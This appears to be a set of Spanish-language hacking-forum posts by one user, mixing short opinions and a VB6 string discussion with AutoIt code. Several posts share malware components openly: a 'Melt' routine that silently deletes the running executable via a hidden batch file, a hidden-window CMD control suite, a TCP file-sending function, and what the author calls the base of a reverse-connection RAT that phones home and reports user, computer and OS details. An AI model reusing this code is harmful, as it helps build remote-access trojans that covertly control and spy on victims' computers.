HOLA!!!

Una cosa es poseer capacidad de abstaccion de pensamiento, ser racional, buen indice de resolucion de problemas etc... y otra es saber programar.

Para mi no todo el mundo deberia saber programar.

GRACIAS POR LEER!!!

HOLA!!!

...

No se me ocurre como entonarla... 

me parecio MALISIMA! 

GRACIAS POR LEER!!!

HOLA!!!


Fedora Rulz!

GRACIAS POR LEER!!!

HOLA!!!


Por ahora XD

GRACIAS POR LEER!!!

HOLA!!!

Tuve muchos problemas para recibir datos binarios enviados con autoit, por eso cree esta funcion, a la cual se le pasa un socket conectado, el path del archivo a enviar y el tamaño del bufer de salida.

Nota: Esta funcion no notifica al otro lado cuando inicia o termina un archivo, aunque al terminar su ejecucion el archivo ha sido enviado correctamente por lo que pueden enviar un identificacador de inicio antes de llamar a la funcion y otro despues.

Func _TCPFileSend($sock, $File, $MaxLen) ;Envia datos binarios desde archivo.
	Local $BytesRead = 0
	$FileHandle = FileOpen($File, 16)
	While 1
		$Data = FileRead($FileHandle, $MaxLen)
		If @error Then ExitLoop
		$BytesRead += TCPSend($sock, $Data)
	Wend
	FileClose($FileHandle)
	Return SetError(0, 0, 1)
EndFunc   ;==>_TCPFileSend

GRACIAS POR LEER!!!

HOLA!!!

Melt, el famoso "KillingMeSoftly" aplicado para generar una autodestruccion efectiva.

Func _Melt() ;Elimina el ejecutable que esta corriendo.
	Local $sCmdFile
	FileDelete(@TempDir & "\scratch.bat")
	$sCmdFile = 'ping -n ' & 15 & '127.0.0.1 > nul' & @CRLF _
			 & ':loop' & @CRLF _
			 & 'del "' & @AutoItExe & '"' & @CRLF _
			 & 'if exist "' & @AutoItExe & '" goto loop' & @CRLF _
			 & 'del ' & @TempDir & '\scratch.bat' 
	FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
	Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
EndFunc   ;==>_Melt

GRACIAS POR LEER!!!

HOLA!!!

Jugando con autoit cree esta pequeña suite de funciones para trabajar con CMD:

;Creado por 79137913
Global $cmdpid
Global $cmdresponse
 
;~ _iniciarCMD()
;~ _sendCMDCommand("ping 127.0.0.1",2)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _CerrarCMD()
Exit
func _SendCMDCommand($command,$timeoutlimit);Envia un comando CMD y devuelve la respuesta, timeout es en segundos
    StdinWrite($cmdpid,$command)
    StdinWrite($cmdpid,@CRLF)
	;StdinWrite($cmdpid)
    Local $data
	Local $response
	Local $timeout
	$data = ""
    While True
	    sleep(100)
        $data &= StdoutRead($cmdpid)
        If $data <> "" Then
			$response=$response & $data
			$data=""
			$timeout=0
		EndIf
		$timeout=$timeout+1 
		if $timeout=$timeoutlimit*10 then ExitLoop
    WEnd
    $cmdresponse = $response
EndFunc
func _CerrarCMD();Cerrar CMD
   StdinWrite($cmdpid)
EndFunc   
Func _IniciarCMD();Inicializar CMD
    $cmdpid = Run("C:\Windows\system32\cmd.exe",@SystemDir, @SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD)
EndFunc

GRACIAS POR LEER!!!

HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de conexión inversa (codigo del Server)

#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
   _Conectar()
   TCPSend ($Socket,"Hola")
   While 1 ; Recibir y ejecutar
	  $Recibe =""
	  While $Recibe = ""
		 $Recibe=TCPRecv($Socket,10000000)
		 Sleep (100)
	  WEnd
	  $Dat = StringSplit($Recibe,"|||")
	  Select
	  case $Dat[1] = "GiveMeData"
		 TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
	  EndSelect
   WEnd
WEnd
 
Func _Conectar()
   While TCPStartup()=0
	  sleep (10)
   WEnd
   While True
	  $Socket=TCPConnect ($IP,$PORT)
	  If $Socket>0 Then
		 ExitLoop
	  EndIf
	  Sleep(1000)
   WEnd   
EndFunc

GRACIAS POR LEER!!!

HOLA!!!

Aca tenes una app de uno de los moderadores del subforo que hace lo que queres, no se si estara desactualizada pero tenes una base muy buena!

http://leandroascierto.com/blog/facebook-photo-uploader/

GRACIAS POR LEER!!!

HOLA!!!

No, Karcrack, es extraño que diga esto pero tu enfoque esta errado...

TODAS las cadenas de Vb6 son almacenadas como Unicode por ende siempre LenB sera el doble de Len. Por ende tu funcion siempre da Verdadero.-

Eso de los Arrays que daban como ejemplo solo desvirtua el tema.

--------------------------------------------------------------------------------------------------

A tomar en cuenta, Mi funcion como dicen antes lo que hace es Copiar erroneamente las cadenas unicode a una nueva cadena, la cual difiere si hay algun caracter que ocupe mas de un byte, como veras en la parte del for (Step 2 y CHR), pierdo el segundo byte de cada caracter y ademas lo convierto con la funcion Chr que no devuelve mas que ascii.-

No quiero decir en ningun momento que las cadenas que se evaluan estan guardadas o no como Unicode, el alma de la funcion es ver si la cadena que se entrega es imprimible o no en ascii.-

GRACIAS POR LEER!!!